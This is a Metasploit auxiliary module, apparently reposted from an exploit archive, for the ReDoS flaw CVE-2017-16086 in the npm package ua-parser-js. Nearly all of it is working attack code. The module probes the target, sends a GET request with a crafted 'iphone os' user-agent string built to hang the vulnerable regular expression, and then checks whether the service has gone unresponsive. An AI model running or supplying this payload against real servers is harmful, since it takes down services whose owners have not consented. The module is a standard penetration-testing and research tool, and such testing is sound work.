This Metasploit module exploits a Regular Expression Denial of Service vulnerability in the npm module "ua-parser-js". Server-side applications that use "ua-parser-js" for parsing the browser user-agent string will be vulnerable if they call the "getOS" or "getResult" functions. This vulnerability was fixed as of version 0.7.16.
2a6aca049eca293add81b1cc8c3eb87e66a227f63aea60301cdd4683695b7500
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos
def initialize
super(
'Name' => 'ua-parser-js npm module ReDoS',
'Description' => %q{
This module exploits a Regular Expression Denial of Service vulnerability
in the npm module "ua-parser-js". Server-side applications that use
"ua-parser-js" for parsing the browser user-agent string will be vulnerable
if they call the "getOS" or "getResult" functions. This vulnerability was
fixed as of version 0.7.16.
},
'References' =>
[
['CVE', '2017-16086'],
['URL', 'https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79'],
['CWE', '400'],
],
'Author' =>
[
'Ryan Knell, Sonatype Security Research',
'Nick Starke, Sonatype Security Research',
],
'License' => MSF_LICENSE
)
register_options([
Opt::RPORT(80)
])
end
def run
unless test_service
fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
else
trigger_redos
test_service_unresponsive
end
end
def trigger_redos
begin
print_status("Sending ReDoS request to #{peer}.")
res = send_request_cgi({
'uri' => '/',
'method' => 'GET',
'headers' => {
'user-agent' => 'iphone os ' + (Rex::Text.rand_text_alpha(1) * 64)
}
})
if res.nil?
print_status("No response received from #{peer}, service is most likely unresponsive.")
else
fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")
end
rescue ::Rex::ConnectionRefused
print_error("Unable to connect to #{peer}.")
rescue ::Timeout::Error
print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")
end
end
def test_service_unresponsive
begin
print_status('Testing for service unresponsiveness.')
res = send_request_cgi({
'uri' => '/' + Rex::Text.rand_text_alpha(8),
'method' => 'GET'
})
if res.nil?
print_good('Service not responding.')
else
print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')
end
rescue ::Rex::ConnectionRefused
print_error('An unknown error occurred.')
rescue ::Timeout::Error
print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
end
end
def test_service
begin
print_status('Testing Service to make sure it is working.')
res = send_request_cgi({
'uri' => '/' + Rex::Text.rand_text_alpha(8),
'method' => 'GET'
})
if !res.nil? && (res.code == 200 || res.code == 404)
print_status('Test request successful, attempting to send payload')
return true
else
return false
end
rescue ::Rex::ConnectionRefused
print_error("Unable to connect to #{peer}.")
return false
end
end
end